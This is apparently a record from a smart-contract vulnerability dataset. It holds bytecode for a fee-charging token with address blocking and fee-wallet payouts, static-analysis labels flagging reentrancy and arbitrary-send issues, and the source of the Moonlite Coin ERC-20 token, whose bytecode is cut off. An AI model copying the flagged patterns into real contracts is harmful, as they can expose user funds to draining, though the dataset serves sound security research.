60004260175411905090565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611813611947565b73ffffffffffffffffffffffffffffffffffffffff161461183357600080fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006118bb601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610d33565b905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156119bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b69061393a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a269061385a565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611b0d919061399a565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611b8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b819061391a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611bfa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bf19061381a565b60405180910390fd5b60008111611c3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c34906138fa565b60405180910390fd5b611c45610ed7565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611cb35750611c83610ed7565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561248857600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611d5c5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611d6557600080fd5b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160009054906101000a900460ff16611e3f5760405180604001604052806000815260200160011515815250600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000820151816000015560208201518160010160006101000a81548160ff0219169083151502179055509050505b600060029050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611ef05750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611f465750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156121ed57601360149054906101000a900460ff16611f9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f919061397a565b60405180910390fd5b610258600c54611faa9190613ad0565b421115611fce57426017541115611fc45760029050611fc9565b600590505b611fd3565b600a90505b611ffa600a611fec6002846129b790919063ffffffff16565b612a3290919063ffffffff16565b600a81905550612027600a6120196008846129b790919063ffffffff16565b612a3290919063ffffffff16565b600b81905550601360159054906101000a900460ff16156121345742601554111561213357600f5482111561205b57600080fd5b42600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154106120df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d69061387a565b60405180910390fd5b602d426120ec9190613ad0565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b5b61218560646121776002612169601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610d33565b6129b790919063ffffffff16565b612a3290919063ffffffff16565b82106121a05761012c426121999190613ad0565b6016819055505b6005601854106121cb5761012c426121b89190613ad0565b60168190555060006018819055506121e4565b601860008154809291906121de90613cc2565b91905055505b60006019819055505b60006121f830610d33565b9050601360179054906101000a900460ff161580156122655750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b801561227d5750601360149054906101000a900460ff165b156124855742601654111561229557600a915061229a565b600591505b6122c1600a6122b36002856129b790919063ffffffff16565b612a3290919063ffffffff16565b600a819055506122ee600a6122e06008856129b790919063ffffffff16565b612a3290919063ffffffff16565b600b8190555060008111156123b35761234e60646123406006612332601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610d33565b6129b790919063ffffffff16565b612a3290919063ffffffff16565b8111156123a9576123a66064612398600661238a601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610d33565b6129b790919063ffffffff16565b612a3290919063ffffffff16565b90505b6123b28161272f565b5b600047905060008111156123cb576123ca476125c6565b5b61241c606461240e6002612400601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610d33565b6129b790919063ffffffff16565b612a3290919063ffffffff16565b84106124375761012c426124309190613ad0565b6017819055505b6005601954106124625761012c4261244f9190613ad0565b601781905550600060198190555061247b565b6019600081548092919061247590613cc2565b91905055505b6000601881905550505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061252f5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806125465750601360169054906101000a900460ff165b1561255057600090505b61255c84848484612a7c565b50505050565b60008383111582906125aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125a191906137f8565b60405180910390fd5b50600083856125b99190613bb1565b9050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612616600284612a3290919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612641573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612692600284612a3290919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156126bd573d6000803e3d6000fd5b5050565b6000600854821115612708576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126ff9061383a565b60405180910390fd5b6000612712612aa9565b90506127278184612a3290919063ffffffff16565b915050919050565b6001601360176101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561276757612766613d98565b5b6040519080825280602002602001820160405280156127955781602001602082028036833780820191505090505b50905030816000815181106127ad576127ac613d69565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561284f57600080fd5b505afa158015612863573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612887919061323f565b8160018151811061289b5761289a613d69565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061290230601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461194f565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016129669594939291906139b5565b600060405180830381600087803b15801561298057600080fd5b505af1158015612994573d6000803e3d6000fd5b50505050506000601360176101000a81548160ff02191690831515021790555050565b6000808314156129ca5760009050612a2c565b600082846129d89190613b57565b90508284826129e79190613b26565b14612a27576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a1e906138ba565b60405180910390fd5b809150505b92915050565b6000612a7483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612ad4565b905092915050565b80612a8a57612a89612b37565b5b612a95848484612b7a565b80612aa357612aa2612d45565b5b50505050565b6000806000612ab6612d59565b91509150612acd8183612a3290919063ffffffff16565b9250505090565b60008083118290612b1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b1291906137f8565b60405180910390fd5b5060008385612b2a9190613b26565b9050809150509392505050565b6000600a54148015612b4b57506000600b54145b15612b5557612b78565b600a54600d81905550600b54600e819055506000600a819055506000600b819055505b565b600080600080600080612b8c87612dbb565b955095509550955095509550612bea86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e2390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c7f85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e6d90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ccb81612ecb565b612cd58483612f88565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612d32919061399a565b60405180910390a3505050505050505050565b600d54600a81905550600e54600b81905550565b600080600060085490506000683635c9adc5dea000009050612d8f683635c9adc5dea00000600854612a3290919063ffffffff16565b821015612dae57600854683635c9adc5dea00000935093505050612db7565b81819350935050505b9091565b6000806000806000806000806000612dd88a600a54600b54612fc2565b9250925092506000612de8612aa9565b90506000806000612dfb8e878787613058565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612e6583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612562565b905092915050565b6000808284612e7c9190613ad0565b905083811015612ec1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612eb89061389a565b60405180910390fd5b8091505092915050565b6000612ed5612aa9565b90506000612eec82846129b790919063ffffffff16565b9050612f4081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e6d90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612f9d82600854612e2390919063ffffffff16565b600881905550612fb881600954612e6d90919063ffffffff16565b6009819055505050565b600080600080612fee6064612fe0888a6129b790919063ffffffff16565b612a3290919063ffffffff16565b90506000613018606461300a888b6129b790919063ffffffff16565b612a3290919063ffffffff16565b9050600061304182613033858c612e2390919063ffffffff16565b612e2390919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061307185896129b790919063ffffffff16565b9050600061308886896129b790919063ffffffff16565b9050600061309f87896129b790919063ffffffff16565b905060006130c8826130ba8587612e2390919063ffffffff16565b612e2390919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006130f46130ef84613a4f565b613a2a565b9050808382526020820190508285602086028201111561311757613116613dcc565b5b60005b85811015613147578161312d8882613151565b84526020840193506020830192505060018101905061311a565b5050509392505050565b60008135905061316081614108565b92915050565b60008151905061317581614108565b92915050565b60008135905061318a8161411f565b92915050565b600082601f8301126131a5576131a4613dc7565b5b81356131b58482602086016130e1565b91505092915050565b6000813590506131cd81614136565b92915050565b6000815190506131e281614136565b92915050565b6000813590506131f78161414d565b92915050565b60008151905061320c8161414d565b92915050565b60006020828403121561322857613227613dd6565b5b600061323684828501613151565b91505092915050565b60006020828403121561325557613254613dd6565b5b600061326384828501613166565b91505092915050565b60006020828403121561328257613281613dd6565b5b60006132908482850161317b565b91505092915050565b600080604083850312156132b0576132af613dd6565b5b60006132be85828601613151565b92505060206132cf85828601613151565b9150509250929050565b6000806000606084860312156132f2576132f1613dd6565b5b600061330086828701613151565b935050602061331186828701613151565b9250506040613322868287016131e8565b9150509250925092565b6000806040838503121561334357613342613dd6565b5b600061335185828601613151565b9250506020613362858286016131e8565b9150509250929050565b60006020828403121561338257613381613dd6565b5b600082013567ffffffffffffffff8111156133a05761339f613dd1565b5b6133ac84828501613190565b91505092915050565b6000602082840312156133cb576133ca613dd6565b5b60006133d9848285016131be565b91505092915050565b6000602082840312156133f8576133f7613dd6565b5b6000613406848285016131d3565b91505092915050565b60008060006060848603121561342857613427613dd6565b5b6000613436868287016131fd565b9350506020613447868287016131fd565b9250506040613458868287016131fd565b9150509250925092565b600061346e838361347a565b60208301905092915050565b61348381613be5565b82525050565b61349281613be5565b82525050565b60006134a382613a8b565b6134ad8185613aae565b93506134b883613a7b565b8060005b838110156134e95781516134d08882613462565b97506134db83613aa1565b9250506001810190506134bc565b5085935050505092915050565b6134ff81613c09565b82525050565b61350e81613c4c565b82525050565b600061351f82613a96565b6135298185613abf565b9350613539818560208601613c5e565b61354281613ddb565b840191505092915050565b600061355a602383613abf565b915061356582613dec565b604082019050919050565b600061357d602a83613abf565b915061358882613e3b565b604082019050919050565b60006135a0602283613abf565b91506135ab82613e8a565b604082019050919050565b60006135c3602283613abf565b91506135ce82613ed9565b604082019050919050565b60006135e6601b83613abf565b91506135f182613f28565b602082019050919050565b6000613609602183613abf565b915061361482613f51565b604082019050919050565b600061362c602083613abf565b915061363782613fa0565b602082019050919050565b600061364f602983613abf565b915061365a82613fc9565b604082019050919050565b6000613672602583613abf565b915061367d82614018565b604082019050919050565b6000613695602483613abf565b91506136a082614067565b604082019050919050565b60006136b8601783613abf565b91506136c3826140b6565b602082019050919050565b60006136db601883613abf565b91506136e6826140df565b602082019050919050565b6136fa81613c35565b82525050565b61370981613c3f565b82525050565b60006020820190506137246000830184613489565b92915050565b600060408201905061373f6000830185613489565b61374c6020830184613489565b9392505050565b60006040820190506137686000830185613489565b61377560208301846136f1565b9392505050565b600060c0820190506137916000830189613489565b61379e60208301886136f1565b6137ab6040830187613505565b6137b86060830186613505565b6137c56080830185613489565b6137d260a08301846136f1565b979650505050505050565b60006020820190506137f260008301846134f6565b92915050565b600060208201905081810360008301526138128184613514565b905092915050565b600060208201905081810360008301526138338161354d565b9050919050565b6000602082019050818103600083015261385381613570565b9050919050565b6000602082019050818103600083015261387381613593565b9050919050565b60006020820190508181036000830152613893816135b6565b9050919050565b600060208201905081810360008301526138b3816135d9565b9050919050565b600060208201905081810360008301526138d3816135fc565b9050919050565b600060208201905081810360008301526138f38161361f565b9050919050565b6000602082019050818103600083015261391381613642565b9050919050565b6000602082019050818103600083015261393381613665565b9050919050565b6000602082019050818103600083015261395381613688565b9050919050565b60006020820190508181036000830152613973816136ab565b9050919050565b60006020820190508181036000830152613993816136ce565b9050919050565b60006020820190506139af60008301846136f1565b92915050565b600060a0820190506139ca60008301886136f1565b6139d76020830187613505565b81810360408301526139e98186613498565b90506139f86060830185613489565b613a0560808301846136f1565b9695505050505050565b6000602082019050613a246000830184613700565b92915050565b6000613a34613a45565b9050613a408282613c91565b919050565b6000604051905090565b600067ffffffffffffffff821115613a6a57613a69613d98565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613adb82613c35565b9150613ae683613c35565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613b1b57613b1a613d0b565b5b828201905092915050565b6000613b3182613c35565b9150613b3c83613c35565b925082613b4c57613b4b613d3a565b5b828204905092915050565b6000613b6282613c35565b9150613b6d83613c35565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613ba657613ba5613d0b565b5b828202905092915050565b6000613bbc82613c35565b9150613bc783613c35565b925082821015613bda57613bd9613d0b565b5b828203905092915050565b6000613bf082613c15565b9050919050565b6000613c0282613c15565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613c5782613c35565b9050919050565b60005b83811015613c7c578082015181840152602081019050613c61565b83811115613c8b576000848401525b50505050565b613c9a82613ddb565b810181811067ffffffffffffffff82111715613cb957613cb8613d98565b5b80604052505050565b6000613ccd82613c35565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613d0057613cff613d0b565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b61411181613be5565b811461411c57600080fd5b50565b61412881613bf7565b811461413357600080fd5b50565b61413f81613c09565b811461414a57600080fd5b50565b61415681613c35565b811461416157600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b75d409b6fcd4c2b167bdcebf25754b300ef1b5d908db436b2562ec126862fd264736f6c63430008050033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
8,334
0x5dfbc6d9f2fd6a3d0d57998db56a8424eac755f1
pragma solidity ^0.4.21; /* * Creator: MLC (Moonlite Coin) */ /* * Abstract Token Smart Contract * */ /* * Safe Math Smart Contract. * https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol */ contract SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function safeSub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * ERC-20 standard token interface, as defined * <a href="http://github.com/ethereum/EIPs/issues/20">here</a>. */ contract Token { function totalSupply() constant returns (uint256 supply); function balanceOf(address _owner) constant returns (uint256 balance); function transfer(address _to, uint256 _value) returns (bool success); function transferFrom(address _from, address _to, uint256 _value) returns (bool success); function approve(address _spender, uint256 _value) returns (bool success); function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } /** * Abstract Token Smart Contract that could be used as a base contract for * ERC-20 token contracts. */ contract AbstractToken is Token, SafeMath { /** * Create new Abstract Token contract. */ function AbstractToken () { // Do nothing } /** * Get number of tokens currently belonging to given owner. * * @param _owner address to get number of tokens currently belonging to the * owner of * @return number of tokens currently belonging to the owner of given address */ function balanceOf(address _owner) constant returns (uint256 balance) { return accounts [_owner]; } /** * Transfer given number of tokens from message sender to given recipient. * * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer to the owner of given address * @return true if tokens were transferred successfully, false otherwise * accounts [_to] + _value > accounts [_to] for overflow check * which is already in safeMath */ function transfer(address _to, uint256 _value) returns (bool success) { require(_to != address(0)); if (accounts [msg.sender] < _value) return false; if (_value > 0 && msg.sender != _to) { accounts [msg.sender] = safeSub (accounts [msg.sender], _value); accounts [_to] = safeAdd (accounts [_to], _value); } Transfer (msg.sender, _to, _value); return true; } /** * Transfer given number of tokens from given owner to given recipient. * * @param _from address to transfer tokens from the owner of * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer from given owner to given * recipient * @return true if tokens were transferred successfully, false otherwise * accounts [_to] + _value > accounts [_to] for overflow check * which is already in safeMath */ function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { require(_to != address(0)); if (allowances [_from][msg.sender] < _value) return false; if (accounts [_from] < _value) return false; if (_value > 0 && _from != _to) { allowances [_from][msg.sender] = safeSub (allowances [_from][msg.sender], _value); accounts [_from] = safeSub (accounts [_from], _value); accounts [_to] = safeAdd (accounts [_to], _value); } Transfer(_from, _to, _value); return true; } /** * Allow given spender to transfer given number of tokens from message sender. * @param _spender address to allow the owner of to transfer tokens from message sender * @param _value number of tokens to allow to transfer * @return true if token transfer was successfully approved, false otherwise */ function approve (address _spender, uint256 _value) returns (bool success) { allowances [msg.sender][_spender] = _value; Approval (msg.sender, _spender, _value); return true; } /** * Tell how many tokens given spender is currently allowed to transfer from * given owner. * * @param _owner address to get number of tokens allowed to be transferred * from the owner of * @param _spender address to get number of tokens allowed to be transferred * by the owner of * @return number of tokens given spender is currently allowed to transfer * from given owner */ function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowances [_owner][_spender]; } /** * Mapping from addresses of token holders to the numbers of tokens belonging * to these token holders. */ mapping (address => uint256) accounts; /** * Mapping from addresses of token holders to the mapping of addresses of * spenders to the allowances set by these token holders to these spenders. */ mapping (address => mapping (address => uint256)) private allowances; } /** * MLC token smart contract. */ contract MLCToken is AbstractToken { /** * Maximum allowed number of tokens in circulation. * tokenSupply = tokensIActuallyWant * (10 ^ decimals) */ uint256 constant MAX_TOKEN_COUNT = 2500000 * (10**18); /** * Address of the owner of this smart contract. */ address private owner; /** * Frozen account list holder */ mapping (address => bool) private frozenAccount; /** * Current number of tokens in circulation. */ uint256 tokenCount = 0; /** * True if tokens transfers are currently frozen, false otherwise. */ bool frozen = false; /** * Create new token smart contract and make msg.sender the * owner of this smart contract. */ function MLCToken () { owner = msg.sender; } /** * Get total number of tokens in circulation. * * @return total number of tokens in circulation */ function totalSupply() constant returns (uint256 supply) { return tokenCount; } string constant public name = "Moonlite Coin"; string constant public symbol = "MLC"; uint8 constant public decimals = 18; /** * Transfer given number of tokens from message sender to given recipient. * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer to the owner of given address * @return true if tokens were transferred successfully, false otherwise */ function transfer(address _to, uint256 _value) returns (bool success) { require(!frozenAccount[msg.sender]); if (frozen) return false; else return AbstractToken.transfer (_to, _value); } /** * Transfer given number of tokens from given owner to given recipient. * * @param _from address to transfer tokens from the owner of * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer from given owner to given * recipient * @return true if tokens were transferred successfully, false otherwise */ function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { require(!frozenAccount[_from]); if (frozen) return false; else return AbstractToken.transferFrom (_from, _to, _value); } /** * Change how many tokens given spender is allowed to transfer from message * spender. In order to prevent double spending of allowance, * To change the approve amount you first have to reduce the addresses` * allowance to zero by calling `approve(_spender, 0)` if it is not * already 0 to mitigate the race condition described here: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender address to allow the owner of to transfer tokens from * message sender * @param _value number of tokens to allow to transfer * @return true if token transfer was successfully approved, false otherwise */ function approve (address _spender, uint256 _value) returns (bool success) { require(allowance (msg.sender, _spender) == 0 || _value == 0); return AbstractToken.approve (_spender, _value); } /** * Create _value new tokens and give new created tokens to msg.sender. * May only be called by smart contract owner. * * @param _value number of tokens to create * @return true if tokens were created successfully, false otherwise */ function createTokens(uint256 _value) returns (bool success) { require (msg.sender == owner); if (_value > 0) { if (_value > safeSub (MAX_TOKEN_COUNT, tokenCount)) return false; accounts [msg.sender] = safeAdd (accounts [msg.sender], _value); tokenCount = safeAdd (tokenCount, _value); // adding transfer event and _from address as null address Transfer(0x0, msg.sender, _value); return true; } return false; } /** * Set new owner for the smart contract. * May only be called by smart contract owner. * * @param _newOwner address of new owner of the smart contract */ function setOwner(address _newOwner) { require (msg.sender == owner); owner = _newOwner; } /** * Freeze ALL token transfers. * May only be called by smart contract owner. */ function freezeTransfers () { require (msg.sender == owner); if (!frozen) { frozen = true; Freeze (); } } /** * Unfreeze ALL token transfers. * May only be called by smart contract owner. */ function unfreezeTransfers () { require (msg.sender == owner); if (frozen) { frozen = false; Unfreeze (); } } /*A user is able to unintentionally send tokens to a contract * and if the contract is not prepared to refund them they will get stuck in the contract. * The same issue used to happen for Ether too but new Solidity versions added the payable modifier to * prevent unintended Ether transfers. However, there’s no such mechanism for token transfers. * so the below function is created */ function refundTokens(address _token, address _refund, uint256 _value) { require (msg.sender == owner); require(_token != address(this)); AbstractToken token = AbstractToken(_token); token.transfer(_refund, _value); RefundTokens(_token, _refund, _value); } /** * Freeze specific account * May only be called by smart contract owner. */ function freezeAccount(address _target, bool freeze) { require (msg.sender == owner); require (msg.sender != _target); frozenAccount[_target] = freeze; FrozenFunds(_target, freeze); } /** * Logged when token transfers were frozen. */ event Freeze (); /** * Logged when token transfers were unfrozen. */ event Unfreeze (); /** * Logged when a particular account is frozen. */ event FrozenFunds(address target, bool frozen); /** * when accidentally send other tokens are refunded */ event RefundTokens(address _token, address _refund, uint256 _value); }
0x6060604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806301502460146100e057806306fdde03146100f5578063095ea7b31461018357806313af4035146101dd57806318160ddd1461021657806323b872dd1461023f578063313ce567146102b857806331c420d4146102e757806370a08231146102fc5780637e1f2bb81461034957806389519c501461038457806395d89b41146103e5578063a9059cbb14610473578063dd62ed3e146104cd578063e724529c14610539575b600080fd5b34156100eb57600080fd5b6100f361057d565b005b341561010057600080fd5b610108610639565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014857808201518184015260208101905061012d565b50505050905090810190601f1680156101755780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561018e57600080fd5b6101c3600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610672565b604051808215151515815260200191505060405180910390f35b34156101e857600080fd5b610214600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506106a8565b005b341561022157600080fd5b610229610748565b6040518082815260200191505060405180910390f35b341561024a57600080fd5b61029e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610752565b604051808215151515815260200191505060405180910390f35b34156102c357600080fd5b6102cb6107e0565b604051808260ff1660ff16815260200191505060405180910390f35b34156102f257600080fd5b6102fa6107e5565b005b341561030757600080fd5b610333600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506108a0565b6040518082815260200191505060405180910390f35b341561035457600080fd5b61036a60048080359060200190919050506108e8565b604051808215151515815260200191505060405180910390f35b341561038f57600080fd5b6103e3600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610a75565b005b34156103f057600080fd5b6103f8610c70565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561043857808201518184015260208101905061041d565b50505050905090810190601f1680156104655780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561047e57600080fd5b6104b3600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ca9565b604051808215151515815260200191505060405180910390f35b34156104d857600080fd5b610523600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d35565b6040518082815260200191505060405180910390f35b341561054457600080fd5b61057b600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080351515906020019091905050610dbc565b005b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156105d957600080fd5b600560009054906101000a900460ff161515610637576001600560006101000a81548160ff0219169083151502179055507f615acbaede366d76a8b8cb2a9ada6a71495f0786513d71aa97aaf0c3910b78de60405160405180910390a15b565b6040805190810160405280600d81526020017f4d6f6f6e6c69746520436f696e0000000000000000000000000000000000000081525081565b60008061067f3385610d35565b148061068b5750600082145b151561069657600080fd5b6106a08383610f1d565b905092915050565b600260009054906101000a900473fffffffffffffffffffffffffffff